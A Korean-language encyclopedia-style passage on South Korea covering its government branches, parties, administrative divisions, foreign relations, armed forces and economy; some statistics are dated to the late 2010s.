국회의원 총선거나 재선거 및 보궐선거, 혹은 대한민국 중앙선거관리위원회의 비례대표 의석승계 결정에 따라 선출된다. 대한민국 국회의장과 부의장은 국회의원 중에서 본회의의 무기명 투표를 거쳐 선출되며, 그 임기는 국회 회기의 절반에 해당되는 2년이다. 행정부 이 부분의 본문은 대한민국 정부입니다. 정부서울청사 대한민국의 행정부에 해당하는 대한민국 정부는 대통령을 수반으로 하여 입법부에서 법률로써 정한 사안들을 실행한다. 대통령은 국무총리와 국무위원으로 구성된 국무회의의 조력을 받아 업무를 처리한다. 대통령은 5년 단임으로 국민의 보통, 평등, 직접, 비밀 선거에 의하여 선출된다. 대통령은 국회가 통과한 법률을 거부할 권한이 있다. 그러나 한 번 거부한 법률을 국회가 다시 통과시킨다면(단, 국회는 재적의원 과반수의 출석과 3분의 2의 동의를 얻어야 한다.) 그 법률은 그대로 통과된다. 대통령은 헌법재판소의 재판관 3인과 대법관 등을 임명할 수 있다. 대통령은 조약을 체결·비준하고, 외교사절을 신임·접수 또는 파견하며, 선전포고와 강화를 할 권한을 가지고 있으며, 국군을 통수하며 공무원 임명을 할 수 있는 등 국정 전반에 걸쳐 방대한 권한을 행사한다. 대통령의 명을 받아 내각을 통할하기 위하여, 대통령의 보좌기관으로서 국무총리를 두고 있다. 국무총리는 대통령이 임명하되 국회의 동의를 받아야 한다. 국무총리는 내각의 구성원을 대통령에게 임명을 제청하며 내각을 통솔한다. 대통령의 유고 시 국무총리가 대통령의 권한을 대행하게 되며 국무총리가 유고시 경제부총리 겸 기획재정부 장관, 사회부총리 겸 교육부 장관 순으로 권한을 대행한다. 사법부 대법원 이 부분의 본문은 대한민국의 법원입니다. 대한민국의 사법부는 대다수의 현대 국가들과 마찬가지로, 재판에 있어서 공정한 심판을 위해 3심제로 이루어져 있다. 대법원을 최고법원으로, 그 밑에 고등법원, 지방법원, 지방법원의 지원과 특허법원, 가정법원, 행정법원 등의 전문성을 요구하는 법률 심사를 위해 설치된 특수법원(여기에서의 재판은 1심의 판결과 동일하다.)으로 구성되어 있다. 대한민국 국군의 경우 군사법원법에 따라 군사재판을 할 수 있으나, 최종심은 대법원이 관할한다. 한편 법원과는 별도로 각종 법령 등의 위헌 여부를 심사하는 헌법 재판소가 구성되어 있다. 헌법재판소에서는 법률이 헌법에 위배되는지를 판가름하는 위헌법률심판, 대통령을 비롯한 공무원의 탄핵 소추를 심사하는 탄핵심판, 위헌 정당의 해산 여부를 심사하는 정당해산심판, 권한쟁의심판, 헌법소원심판 등을 심사한다. 헌법재판소의 재판관은 총 9명이며, 대통령, 국회, 대법원장이 각각 3명씩 선출하고 대통령이 임명한다. 헌법재판소장은 대통령이 국회의 동의를 얻어 임명한다. 최고 법원인 대법원의 법관인 대법관은 대법원장의 제청에 따라 국회 동의를 거쳐 대통령이 임명한다. 대법관의 임기는 헌법을 통해 보장되며, 그 연한은 6년이다. 정당 이 부분의 본문은 대한민국의 정당입니다. 대한민국에서는 헌법 제8조에 의해 자유롭게 정당을 결성할 수 있으며, 복수정당제가 보장된다. 가장 최근에는 20대 국회가 2016년 5월 30일부터 개원하였다. 2017년 6월을 기준으로 여당과 1석 차이로 원내 제1당이 된 더불어민주당이 있으며 그 밖의 원내 교섭단체를 구성한 정당(국회에 의석을 20석 이상 가진 정당)으로는 자유한국당, 바른미래당이 있다. 비교섭단체인 정당(국회에 의석을 1석 이상 가진 정당)으로는 정의당, 민주평화당, 민중당, 우리공화당이 있다. 국회에 의석이 없는 정당으로는 노동당, 녹색당 등이 있다. 제20대 총선 당시에는 더불어민주당 123석, 새누리당 122석, 국민의당 38석, 정의당 6석으로 더불어민주당이 원내 제1당이 되었다. 새누리당 공천을 받지 못해 탈당한 새누리당 전 소속 의원들이 무소속으로 당선되면서 새누리당에 재입당 하여 129석으로 새누리당이 다시 원내 제1당이 되었으나, 박근혜-최순실 게이트의 여파로 인해 비박계들이 탈당하였고, 94석으로 줄어 다시 원내 제2당이 되었고, 바른정당 소속의 탈당계가 들어옴에 따라 110석 이상을 확보하였다. 2019년 기준의 정당별 의석 수는 더불어민주당 128석, 자유한국당 114석, 바른미래당 28석[26], 민주평화당 14석, 정의당 6석, 민중당과 대한애국당이 각각 1석이다. 행정 구역 이 부분의 본문은 대한민국의 행정 구역입니다. 특별시 광역시 도 특별자치도 특별자치시 1 서울특별시 2 부산광역시 8 경기도 16 제주특별자치도 17 세종특별자치시 3 대구광역시 9 강원도 4 인천광역시 10 충청북도 5 광주광역시 11 충청남도 6 대전광역시 14 경상북도 7 울산광역시 15 경상남도 12 전라북도 13 전라남도 대한민국의 전 지역은 1개의 특별시, 6개의 광역시, 8개의 도, 1개의 특별자치도, 1개의 특별자치시로 나뉜다. 이상 총 17개의 행정구역은 광역지방자치단체로 구분된다. 특별시는 구로, 광역시는 구와 군으로, 도는 시와 군으로 다시 나뉜다. 이상의 행정구역은 기초지방자치단체로 구분된다. 특별시와 6개 광역시에는 2008년 4월 기준으로 총 69개의 자치구가 설치되어 있다. 또한 6개 광역시와 8개 도에는 총 75개의 자치시와 82개의 군이 설치되어 있다.[27] 특별자치도는 자치시가 아닌 행정시를 둘 수 있으며, 행정시는 특별자치도지사 직속기관으로서 기초지방자치단체로서의 권한이 없다. 광역자치단체인 도 하위의 인구 50만 이상의 자치시에는 일반구를 둘 수 있는데, 일반구도 기초자치단체로서의 권한이 없기 때문에 특별시·광역시의 자치구와 구별된다. 시와 구(자치구, 일반구)는 읍·면·동으로, 군은 읍·면으로 나뉜다. 읍·면은 리로, 동은 통으로 나뉜다. 통 및 리는 말단 행정 구역인 반으로 나뉜다. 한편, 대한민국 헌법 제3조에는 "대한민국의 영토는 한반도와 그 부속도서로 한다."라고 명시되어 있다. 이는 대한민국을 한반도의 유일한 합법정부로 선언하는 성격을 가지고 있어, 조선민주주의인민공화국을 "영토고권을 침해하는 반국가단체"로 규정하는 근거가 된다.[28] 때문에 대한민국은 휴전선 이북 영토를 관할하는 이북5도위원회를 안전행정부 관할로 두어 형식상의 도지사와 시장, 군수 등을 선출하고 있다.(함경북도, 함경남도, 평안북도, 평안남도, 황해도, 미수복 강원도, 미수복 경기도 및 예하 시·군 관할) 대한민국 헌법의 관점으로 볼 때, 현재 대한민국의 최동단은 동해 상의 독도, 서단은 압록강의 비단섬, 남단은 제주도의 남쪽 바다에 위치한 마라도, 북단은 함경북도 온성군 부근이 된다.[28] 대한민국이 영유권을 주장하는 지역은 조선민주주의인민공화국이 실효지배중인 지역과 대한민국이 실효지배중인 지역과 거의 같으나 중화인민공화국이 실효 지배중인 백두산 천지 북부에 대하여 영유권을 주장하여 대한민국의 지도 상에 백두산 천지 전체를 대한민국의 영토로 표시하고 있다. 이밖에 러시아가 실효지배중인 녹둔도에 대하여 지도상으로는 표시하고 있지 않으나 영유권을 주장하고 있다. 외교 이 부분의 본문은 대한민국의 대외 관계입니다. 대한민국의 외교에 관한 업무는 외교부가 맡고 있다. 휴전선을 사이에 두고 이웃한 조선민주주의인민공화국과는 한국 전쟁을 겪은 뒤 적대적인 관계가 유지되었다. 김대중과 노무현 정부는 햇볕 정책, 곧 대북유화책을 시도했으나 차후 북한의 핵무기와 미사일 개발 등 대남 도발 행위로 인해 중단되었다. 이명박과 박근혜 정부는 연평도 도발, 천안함 폭침, 목함 지뢰 사건 등이 발생함과 동시에 대북 강경정책을 실시했고, 이에 따라 남북 관계가 상대적으로 경색되었다. 대한민국의 외교는 한국 전쟁에서 큰 역할을 담당하였던 미국과는 긴밀한 관계를 맺고 있다. 과거 한반도를 식민 통치하였던 일본과는 1965년 수교하였다. 대한민국은 현재 유엔 회원국 중 조선민주주의인민공화국, 마케도니아, 시리아, 쿠바 등 4개국과 외교 관계가 없으며, 이 중 조선민주주의인민공화국을 국가로 인정하지 않는다. 이외에 서사하라, 중화민국, 팔레스타인, 코소보 등도 외교 관계가 없다. 이 중 중화민국은 대한민국 정부 수립 때부터 수교국이었으나 1992년에 국교가 단절되었다. 그렇지만 현재 대한민국과 중화민국 양국은 양국 수도에 서로 대표부(타이베이 대표부)를 설치하여 운영중에 있고 상호간의 왕래와 민간교류는 자유롭다. 팔레스타인의 경우에는 대한민국이 팔레스타인에 대표부를 설치하여 운영중에 있다. 과거에는 통상에 관한 업무를 전문적으로 관장하기 위해 외교통상부 산하 통상교섭본부를 설치해 운영하였으나, 정부조직 개편에 따라 산업통상자원부로 이관되었다. 대한민국의 영토인 독도, 이어도 등에 대하여 이웃한 일본, 중화인민공화국이 각각 영유권을 주장하고 있다. 현재 대한민국은 유엔과 WTO, OECD, 그리고 G-20의 구성원이며 또한 APEC와 동아시아 정상회의의 창립 가맹국이며, 미국의 주요 비NATO 동맹국(MNNA)이다. 한편 2007년부터 2010년 상반기까지 해외에서 추방한 대한민국 국민이 2,111명으로 일본에서 제일 많았다.[29] 남북 관계 이 부분의 본문은 남북 관계입니다. 대한민국은 조선민주주의인민공화국의 수립 당시부터 현재까지 국가로 승인하지 않으며, 조선민주주의인민공화국 정부에 대하여 국제법상 교전단체의 지위만을 인정한다. 또한, 대한민국은 대한민국 헌법을 비롯한 국내법상 조선민주주의인민공화국이 차지하고 있는 지역 일체를 대한민국의 고유한 영토로 간주하고 있으며, 따라서 자국 영토를 불법적으로 점거하는 반국가단체로 본다. 국민의 정부 당시 최초의 남북정상회담이 개최되었으며 조선민주주의인민공화국과의 물자 교류는 참여정부 말까지 활발했으나 조선민주주의인민공화국의 대남 도발 등으로 인해 2013년 금강산 관광 산업, 개성공단까지 중지된 상태이였지만 남북회담을 통해 재가동하기로 했다. 그러나 2015년 이후 조선민주주의인민공화국이 계속해서 대남 도발, 핵 실험, 미사일 발사 등을 진행함에 따라 다시 중지되었다. 한미 관계 이명박 전 대통령과 부시 미 전 대통령이 함께한 모습 이 부분의 본문은 한미 관계입니다. 대한민국과 미국의 관계는 19세기 중반인 1871년 조선의 통상을 요구하던 제너럴셔먼호 사건으로 거슬러 올라간다. 그러나 당시 조선은 흥선대원군의 쇄국정책으로 완강히버티자 얼마버티지 못하고 돌아간다. 그 뒤 일본의 운요호 사건을 계기로 조선은 쇄국정책을 풀고 일본을 비롯한 세계열강과 통상조약을 맺게되자 미국은 1882년에 조선과 통상조약을 맺어 공식적으로 외교관계를 가지게 된다. 1897년에 고종이 대한제국을 선포할때 미국은 특사를 파견하여 축하해주기도했다. 그러나 이러한 관계는 1905년 을사조약 뒤부터 뒤틀어졌는데 당시 미국 제26대 대통령 시어도어 루스벨트의 딸인 엘리스 루스벨트가 미국을 대표하여 대한제국에 방문했을때 고종의 환대에도 없는 사람 취급하였고 고종의 아내였던 명성황후 무덤앞의 말조각상에서 앉아 사진을 찍는 무례함을 범했기 때문이다. 설상가상으로 1910년 일본제국의 대한제국 강제합병을 계기로 미국과의 외교관계가 단절된다. 1948년 대한민국은 미국의 원조로 민주 정부를 수립하였고 그 이래로 미국의 대량 원조를 통해 매우 광범위하게 발전하여 왔다. 미국은 한국 전쟁(1950년~1953년) 당시 유엔군을 조직하여 대한민국 편에서 참전하여 절대적인 역할을 하였고 휴전 이후에도 주한 미군이 계속 주둔하고 있고 대한민국은 주한미군에 의한 군사적 보호속에서 매우 긴밀한 동맹관계를 유지해 오고 있다. 제5공화국 때는 부산 미국문화원 방화사건도 있었고, 2000년대 들어서 주한미군 한강 독극물 무단 방류 사건, 미군 장갑차 여중생 압사 사건 등으로 일부 반미 감정이 고조되기도 하였다. 2007년 한미자유무역협정이 체결되었고 문서 공개 이후 한동안 상당한 논란에 휩싸였다. 이후 이명박 정부가 출범하면서 미국산 쇠고기 수입 협상 논란은 촛불 시위로 비화되어 2008년 미국산 쇠고기 수입 협상 논란을 겪었다. 한편 이명박 정부가 출범된 이후 한미 관계가 상당히 강화되었다. 현재 대한민국은 군사, 외교, 경제적으로 깊은 관계를 맺고 있다. 한일 관계 대한민국과 일본이 서로 영유권을 주장하고 있는 독도. 현재 대한민국이 실효 지배하고 있는 섬이다. 이 부분의 본문은 한일 관계입니다. 양국은 1965년 한일 협정을 통해 공식적인 외교 관계를 수립하였다. 양국 간에 역사 인식, 영토 등에 대한 갈등이 존재한다. 제2차 세계대전 당시의 전범들을 숭배하는 야스쿠니 신사 참배 문제나 독도 문제, 동해 명칭 문제, 일본군 위안부도 민감한 문제이다. 일본의 고이즈미 준이치로 내각과 아베 신조 내각 당시에는 한일 셔틀외교가 중단되는 등 양국관계가 멀어졌으나 아시아 외교를 중시하는 일본 후쿠다 야스오·하토야마 유키오 내각의 출범과 한일관계를 보다 중시하는 대한민국의 이명박 정부가 출범한 이후 관계가 개선과 악화를 반복하다가 일본 민주당 하토야마 유키오 총리가 취임하면서 한일관계가 강화되었다. 2002년에는 양국이 공동주관하여 한일 월드컵을 개최하기도 하였다. 2000년대에 들어서는 일본에서 한국 문화에 대한 선호도가 높아지면서 이른바 '한류 열풍'이 불어 양국간 교류가 많이 증진되었다. 그러나 역사·영토(독도) 문제 등 여러 부분에서 논란이 계속되고 있고, 일본이 집단자위권을 강화함으로써 양국 관계도 점차 경직되어가고 있다. 한중 관계 이 부분의 본문은 한중 관계 (1948년) 및 한중 관계 (1992년)입니다. 대한민국은 1948년 정부 수립 직후부터 중화민국과 외교 관계를 수립하였다. 1950년에 발발한 한국 전쟁에서 조선민주주의인민공화국을 지원한 중화인민공화국과는 적대 관계가 되었으며, 1992년까지 외교 관계를 맺지 않고 있었다. 그러나 대한민국은 중화인민공화국과 1992년 공식 수교하면서, 기존의 중화민국과 단교하여 오늘에 이르고 있다. 조선민주주의인민공화국과 관련된 여러 문제가 있는 와중에도 양국은 외교 관계를 이루고 있다. 2016년 주한 미군의 '고고도 미사일 방어 체계(THAAD)' 배치 추진과 미・중 무역 갈등 문제 등 국제 사회에서의 충돌로 인하여 한중 관계과 악화되고 있다. 한러 관계 이 부분의 본문은 한러 관계입니다. 러시아는 구 소비에트 연방의 법통을 이어받은 나라로, 자본주의와 공산주의 국가 간의 갈등이었던 동・서 냉전으로 인해 대한민국과는 적대적인 관계였으나 탈냉전 이후에 한소수교가 1990년에 전격적으로 이루어졌으며, 소련 붕괴 이후의 러시아와 경제, 문화, 우주기술협력, 군사(불곰사업) 등에서 밀접한 관계를 추진해나가기 시작했다. 하지만 녹둔도 문제를 포함해서 연해주 등 잠재된 영토 문제가 아직 남아있지만 남북분단으로 인해 가시화되지는 않았다. 대한민국의 위성인 나로호 발사도 러시아의 협조 하에 발사했다. 현재 12만 5000명의 고려인이 러시아에 거주하고 있다. 러시아와 한국은 대한항공, 아시아나항공, 아에로플로트 등 여러 항공사가 매일 운항하고 있다. 국방 이 부분의 본문은 대한민국 국군입니다. 대한민국은 조선민주주의인민공화국과의 대립으로 인해 일찍부터 군사력을 증강시켜 왔으며 1990년대까지는 양적 위주의 성장을 추진했으나, 2000년대 들어 새로운 무기 기술의 개발과 발달로 인해 질적 성장을 이루었다. 대한민국 국방부가 국군(國軍)이라고 불리는 대한민국의 군을 지휘하고 있다. 2013년 7월 기준 병력 규모는 현역이 약 670,000명으로 세계 6위, 대한민국 예비군은 약 3,200,000명으로 세계 5위이다.[30] 세계에서 11번째로 탄도미사일을 독자 개발했다.[31] 대한민국 국군의 경우 여군은 기갑, 포병, 잠수함 병과에는 진출할 수 없었으나 2014년 9월 창군이래 최초 여군 포병장교가 탄생하였고 기갑병과에도 여군이 진출함에 따라 다양한 병과에서 여군들이 활약하고 있다. [32] 육군 K1 전차 이 부분의 본문은 대한민국 육군입니다. 대한민국 육군은 병력 약 520,000명, 전차 약 2,300대, 장갑차 약 2,500대, 견인포/자주포/다연장 로켓포 약 5,200문, 유도무기 30기, 헬기 600기를 보유하고 있다.[33] 현재 국방과학연구소(ADD)는 전차[34] K2 전차(K2 흑표, Black Panther)를 개발했다. K-2 전차는 2014년 대한민국 육군에 정식으로 배치된다. K-21 전투장갑차는 2012년경 전력화하였고 복합형 소총인 K-11 소총을 운용하고 있다.[35] 2012년 1월 육군에는 현재 39개 사단(전방 기계화보병사단 6개[36], 그 외 상비 사단 16개, 향토 방위 12개, 동원 예비군 5개)으로 이루어져 있다. 그 외 해군 예하 해병대 2개 사단이 있다. 2020년까지 1군사령부와 3군사령부를 지상작전사령부로 통합하며, 5개의 지역군단(수도방위사령부도 지역군단으로 함)과 2개의 기동군단으로 개편하고, 향토사단 자체는 존치하며, 동원사단은 4개로 줄이고 전 부대를 기계화부대로 편성한다. 병사들의 개인화기 및 개인장비, 피복을 개선시키는 중이다. 전투력 향상을 위해 고글+무릎(팔꿈치)보호대+장갑+방탄복+야간 야시장비+스코프+도트사이트+광학장비를 지급하고 보병장비, 개인장비, 장구류, 군장이 늘어나고 저격소총, 옵션장비 ,사격장, 1인당 교탄증가가 되었다. 소대장이 항공근접지원을 직접 유도할 수 있고 병사들은 무인 항공기를 수시로 띄울 수 있다. 시가전 능력을 향상시키기 위해 신속대응 훈련과 CQB 훈련과 시가전 훈련을 자주 진행 중이다. 실전 훈련처럼 진행한다. 현대전에 맞추기 위해 육군 전 부대 대대급 현대화가 진행 중이다. 저격수, 정찰 저격수들을 육군 전 부대(소대급)에서 양성중이다. 저격수 학교를 창설한다. 저격수 규범은 미국 저격수 규범과 똑같은 저격수 교범을 채택하였다. 공군 대한민국 공군의 주력 기체 중 하나인 F-15K 이 부분의 본문은 대한민국 공군입니다. 대한민국 공군의 장비는 F-15K 60대, KF-16 (Block 52+) 134대와 F-16C/D (Block 52+) (PB형) 35여대, F-4E 80대 (퇴역 중), KF-5E/F (제공호)와 F-5E (타이거 II) 195대, T-103 러시아제 훈련기 IL-103 72대, KT-1 기본 훈련기 105대, KA-1 전선항공통제기/경공격기 20대, T-50 고등 훈련기 60대+98대 생산 확정, T-50B (블랙 이글스) 10대를 보유 중이며, TA-50 전술입문기 (LIFT) 22대를 운용 중이고 KF-16에 버금가는 다목적 전투기인 FA-50 60~120대를 도입 중에 있다. F-4E, KF-5E/F (제공호)와 F-5E (타이거 II)등은 지속적으로 도태되고 있어서 F-5E (타이거 II), KF-5E/F (제공호)는 FA-50 60대로 대체되고, F-4E는 F-35A로 대체되며 T-103 훈련기 72대 역시 기체 노후화로 한국항공우주산업이 개발한 KC-100 나라온으로 대체된다. 수송기는 전략 전술 수송기인 C-130J-30 4대 C-130H 12대, CN-235-220M 18대가 있으며 VIP 수송용으로 대한항공에서 임차한 보잉 747-400 1대를 비롯해 보잉 737-300 1대, VCN-235 2대, VC-118 1대, BAe-748 2대가 있다. 정찰기로는 호커800기를 개조한 금강정찰기와 백두정찰기, RF-4C 18대, RKF-16 5대를 보유, 운용하고 있으며, 공중 조기 경보 통제기 보잉 E-737 피스아이 4대를 운용 중이며 회전익 항공기 (헬기)는 구조.탐색용인 HH-60 페이브호크, HH-47 치누크, 카모프 Ka-32가 있으며 병력 수송용인 벨 205, 212, 412, UH-60 블랙호크 등이 있다. 이외에도 VIP 수송용인 VH-92, VH-60, AS-362 '수퍼퓨마'가 있다. 또한 공군은 국산 헬기인 수리온을 2기 주문하였다. 사병들의 전투력 향상을 위해 소화기 실탄 사격장 및 1인당 실탄사격 훈련의 내실화와 사병들의 개인 장비도 지속적으로 개선하고 있다. 공군 전력사업 중에서 가장 큰 규모의 사업인 한국형 전투기 사업인 KF-X 사업과 차기 대통령전용기 사업인 VC-X사업, 원격지원전자전기 사업, 스텔스 무인 전투기(UCAV)의 개발 및 사업을 진행 중이며 최근 KC-X 사업의 최종 후보로 에어버스 A330 MRTT가 선정, 4대 구매를 체결하였다. 해군 림팩 2006 훈련에 참가중인 DDH-976 문무대왕함 이 부분의 본문은 대한민국 해군입니다. 대한민국 해군(예하 해병대 포함)은 병력 약 68,000명, 잠수함 약 20 척, 전투함정 약 140 척, 지원함정 20 척, 대잠헬기 및 해상초계기 50 대를 보유하고 있고 차기 군함들을 비롯해 모든 군함들은 선체 전체에 광범위하게 스텔스 설계를 적용하고 레이다 반사율을 줄이기 위해 경사설계를 적용한다.[37] 총 3개 함대와 4개 전단을 두고 있다. 해병대 한 대한민국 해병대원이 강습 훈련을 하고 있다. 이 부분의 본문은 대한민국 해병대입니다. 대한민국 해병대는 대한민국 해군 예하에 편성되어 있는 군으로서 국가 전략 기동군으로서 해병대는 상륙작전을 수행한다. 대한민국 해군(예하 해병대 포함)은 병력 약 69,000명, 잠수함 약 20 척, 전투함정 약 140척, 지원함정 20척, 헬기/해상초계기 약 50대, K1A1 전차와 K9 자주포, 상륙돌격장갑차(KAAVP7A1) 등의 기갑 차량, 상륙 장비를 보유하고 있다.[37] 대한민국 해병대는 1949년 4월 15일 경상남도 진해시에서 초대 지휘관에 신현준 중령이 임명되고, 해군 장교 26명, 부사관 54명, 병 300명으로 창설되었다. 해군 예하의 국가 전략기동군으로서 상륙 작전을 주임무로 하며, 그 외 김포, 강화, 포항, 경주, 진해, 제주, 도서지역 등 방어, 상륙작전을 하고, 예비군 교육 및 훈련 등의 임무도 수행한다. 2014년 기준으로, 2개 사단과 1개 여단을 보유하고 있고, 이외에도 연평도와 진해, 제주도 및 기타 여러 도서 지역들에도 해병 부대들을 주둔시키고 있다. 경제 이 부분의 본문은 대한민국의 경제입니다. 개관 한국종합무역센터(트레이드 타워)의 모습 한강과 반포교, 여의도의 63빌딩은 서울과 한강의 랜드마크들이다. 대한민국의 국내총생산 그래프 대한민국은 기본적으로 자유민주주의 시장경제 체제를 유지하고 있으며, 혼합자본주의 체재를 택하고 있다. 한국의 경제 발전은 이승만 정권의 경제관료 양성으로 시작되었다. 이후 4.19 혁명으로 세워진 장면 정권에 의해 기존에 양성된 경제관료를 중심으로 경제 개발 계획이 준비되었으나 5·16 군사정변 발발로 실행되지 못했다. 1960년대 박정희 정부의 주도로 경제 개발 계획을 성실히 수행하였으며, 경공업 육성을 통해 본격적인 산업화를 시작했다. 1973년 이후 박정희 정부의 중화학공업 발전 정책으로 철강, 전자, 조선 산업 등이 크게 발달하며 수출을 증대 시키고 국가 경제를 매우 빠른 속도로 성장 시켰다. 1980년대 전두환 정부 때에는 3저호황과 중화학공업 과잉 투자 조정으로 하여금 세계적인 수준의 공업국가로 올라섰다. .[38] 1960~80년대 고속 경제 성장으로 한때 중화민국, 홍콩, 싱가포르와 함께 '아시아의 네 마리 호랑이(혹은 아시아의 네 마리 용)'로 불렸으며, 1994년에는 사상 처음으로 국민소득 1만 달러를 넘어섰다. 1997년에는 외환위기로 IMF 구제금융사건을 겪었으나, 2년 만에 상당부분 회복했으며 김대중 정부는 이를 해결했음을 선언했다. 그러나 대량 해고, 청년 실직자 문제, 니트족 현상 등의 부작용이 함께 나타났다. 그 후 노무현 정부의 꾸준한 경제 개혁을 통해 2007년까지 매년 백억 달러 이상의 경상흑자와 평균 4%대의 경제발전을 이루어 명목 국민소득 2만 달러, 실질 국민소득 2만 5천 달러를 이루었다. 2015년 현재 국제통화기금(IMF)이 발표한 자료에 따르면 한국의 PPP기준 1인당 국내총생산은 3만 6,601달러이며 이것은 세계 29위 수준이다.[39] 2007년 골드만삭스는 대한민국이 2050년, 브릭스+넥스트 일레븐+G7 1인당 명목 GDP가 90,294 달러가 되어 91,683달러인 미국에 이어 주요 경제국 중 2위에 오를 것이라고 전망하기도 했다.[40] 대한민국은 자본력이 부족한 환경에 따라 독특한 형태의 경제발전을 진행시켜 왔는데, 박정희 당시 계획경제체제를 시행, 수출을 통한 성장을 목적으로, 자본 및 기술적 기반이 약한 중소기업보다는 재벌기업이 주류인 대기업을 축으로 하는 기업경제구조를 세웠으며, 천연 자원이 절대적으로 부족해 가공무역을 핵심으로 삼은 수출주도형 경제성장정책을 도입하였다. 그 결과, 수출과 수입에 많이 의존하는 편이며,[41] 주요 무역 상대국은 중화인민공화국, 미국, 일본, 중화민국, 독일, 영국, 인도네시아, 말레이시아 등이다. 반도체 세계 1위 삼성을 비롯하여 1983년부터 세계 조선 1위를 지켜오고 있는 현대, 백색가전의 LG, 세계 철강 4위인 포스코 등의 여러 기업 집단을 가지고 있으며 포춘지 선정 세계 500대 기업 중 17개가 대한민국 기업이다.[42] 대한민국의 대부분의 상장기업에는 개인지배주주가 존재한다. 반면에 기업발전에 따른 외부자본조달로 지배주주의 지분율 하락이 불가피한 가운데 지배주주와 소수주주간 이해상충문제가 심각한 편이다. 대한민국 경제의 중요한 부분을 차지하는 대규모기업집단의 경우 지배구조가 계열사간 피라미드 및 순환식 소유구조에 의해 경영권을 확보하고 있으나, 이는 현금권과 통제권 간의 상당한 괴리를 가져와 기업가치에 부정적 영향을 미치는 문제를 안고 있다. 경영권 행사에 따른 사적 경영권 혜택이 과도하여 기업이 망하지 않는 한 경영권 교체가 이루어지지 않는 비효율적 산업구조는 대한민국 경제의 치명적 약점으로 지적되고 있다. 1990년대 이후 대한민국 내의 노동자의 임금이 상승하자 기업들은 임금이 싼 해외로 공장을 이전하기 시작하였다. 특히 중화인민공화국에 진출해있는 대한민국 기업이 많으며, 베트남, 태국, 인도네시아 등 동남아시아에도 많이 진출해 있다. 최근에 중앙유럽 국가들이 유럽 연합(EU)에 가입하여 관세가 철폐되면서 중앙유럽으로 진출하는 기업들도 늘고 있다. 조선민주주의인민공화국의 개방이 가속화되면서 개성공단에 입주하는 기업도 늘어났으나, 조선민주주의인민공화국의 대남 도발로 인한 남북 관계 경색으로 가동이 전면 중단된 상태이다. 부채 대한민국의 가계부채는 1999년 ~ 2001년 급증, 2002년 ~ 2004년 감소, 다시 2005년 ~ 2007년 까지 급증, 이후 2008년 금융 위기로 그 증가세가 지속되어 2011년 처음으로 가구당 가계부채가 5000만원을 넘어섰다. 이는 자산 증가보다 부채 증가가 더 빨라짐에 따라 빚을 갚을 능력이 악화됐기 때문이다.[43][44] 특히 소득이 적을수록 부채상환 능력이 크게 떨어졌는데, 2010년 소득 하위 20%의 가처분소득 대비 부채비율이 2009년 보다 68.2% 급증한 279.5%에 이르러 소득의 3배에 달하였다. 이는 소득이 적은 20, 30대 가구와 저소득층의 재무건전성 악화를 보여주고있다.[44] 이는 저축은행들이 건설업체의 잇따른 부도로 프로젝트 파이낸싱(PF) 대출이 부실해지면서 금리가 높은 가계대출 비중을 늘림과 더불어[45] 전월세값을 포함한 물가의 급등과 교육비 지출에 따른 ‘생계형 대출’이 증가하였기 때문이다.[44] 축소된 가계부채 상환 능력에 대하여 이명박 정부는 고소득층의 가계 빚이 가계부채의 70% 가량을 차지하고 있으므로 빚을 갚을 능력이 양호하며 자산불평등도 외국에 비해 낮다는 것을 이유로 당장 한국 경제에 부담이 될 가능성이 낮다는 반응을 보이고 있다. 그러나 20, 30대와 저소득층의 가계부실이 본격화되면 미국이나 유럽처럼 '가계부채 대란'이 현실로 나타날 수 있다는 지적도 나오고 있는 실정이다.[44] 정부와 공기업의 공공부분 부채는 2011년 3분기 말 한국은행이 파악한 것만 789조 3600억 원으로 1년 만에 9.2% 급증했으며 이중 공기업의 부채는 1년 만에 14.4%나 급증한 363조 8000억 원으로 집계됐다. 공기업 부채가 크게 늘어난 것은 정부가 보금자리 주택이나 4대강 공사 등 국책 사업에 필요한 자금을 공사채 발행 등으로 마련한 결과로 보고있다.[46] 소득 양극화 지수는 2003년 기준으로 증가세가 2006년 2.12%, 2008년 2.05%, 2010년 0.89%로 계속 증가하고 있으나 조금 둔화되는 모습을 보였다.[47] 소득 불평등도를 나타내는 지니 계수는 2003년 기준으로 증가세가 2009년 5.65%, 2010년 2.73%으로 계속 높게 나타났다.[47] 공적연금 지출은 30개국 중 29위, 여성 경제활동 참가율은 30개국 중 30위로 나타났다.[48] 산업 농업 1960년대까지의 대한민국의 주요 산업은 농업에 의존하였다. 1963년 이후 집권한 박정희는 공업화, 산업화 정책을 추진하였고 농업인구는 격감하여 1970년 1천4백42만 명으로 전체인구의 44.7%였고, 2010년 기준 한국의 농업인구는 3백2만1천명으로 전체 인구의 7.5%를 차지, 10% 아래로 떨어졌다. 이와 함께 농업인구의 고령화 까지 진행되면서 나중에 식량위기가 올 가능성이 제기되고 있다. 하이닉스의 DRAM. 2008년도 제2사분기의 시장 점유율 조사에 따르면 삼성과 하이닉스가 각각 1, 2위를 차지했다.[49] 공업 대한민국의 공업은 중급수준의 기술을 요하는 산업들에 특화되었고, 주요 산업으로는 조선, 전자, 자동차, 반도체 등이 있다. 특히 조선 산업은 2008년 기준 세계 전체 점유율의 절반을 넘어섰으며[50], 전자 산업은 삼성전자와 LG전자가 있다. 자동차 생산력은 세계 5위[51] 이며, 현대자동차와 기아자동차가 수출을 주도하고 있다.[52] 최근 로봇, 친환경 에너지 등의 미래형 산업에 대한 투자와 지원 또한 늘리고 있다. 반면, 국가경제 발전수준에 비해 서비스업이 국가경제에서 차지하는 비중은 매우 낮은 편이며, 발달수준도 미흡한 편이다. 현재 대한민국의 경제는 삼성, 현대자동차와 같은 재벌 대기업에 상당히 의존하고 있는 편이다. 한국 공업의 역사는 정확하지 않으나 고대부터 제철, 제련 공업이 발달하였다. 구한말과 일제 강점기에는 일본 제국의 경제적 수탈을 목적으로 근대적인 공업 시설이 건립되었고, 일본의 자본이 한국에 유입되었다. 일본 자본의 유입에 맞서 국채 보상 운동이 자발적으로 확산되었고 1920년대에는 김성수는 자본을 투자하여 경성방직, 경성직류 등 방직과 면 공업을 육성하여 민족자본을 형성하기도 하였다. 1923년부터는 조만식, 안재홍, 김성수 등에 의해 물산 장려 운동이 진행되어 국산 공업품을 활용하자는 운동이 일어나기도 하였다. 그러나 일본의 대륙 침략을 위한 군수 공업으로 일변화 된 한국의 공업은 정상적으로 성장할 수 없었다. 광복 이후에도 한국의 공업 수준은 미미했으나, 1960년대 이후 출범한 제3공화국 정권은 경제성장의 기반으로 공업화 정책을 추진하였다. 이후 60년대에는 수공업, 수제품 공업, 기술, 근로자 파견 위주로 진행되었고, 식료품과 담배, 섬유 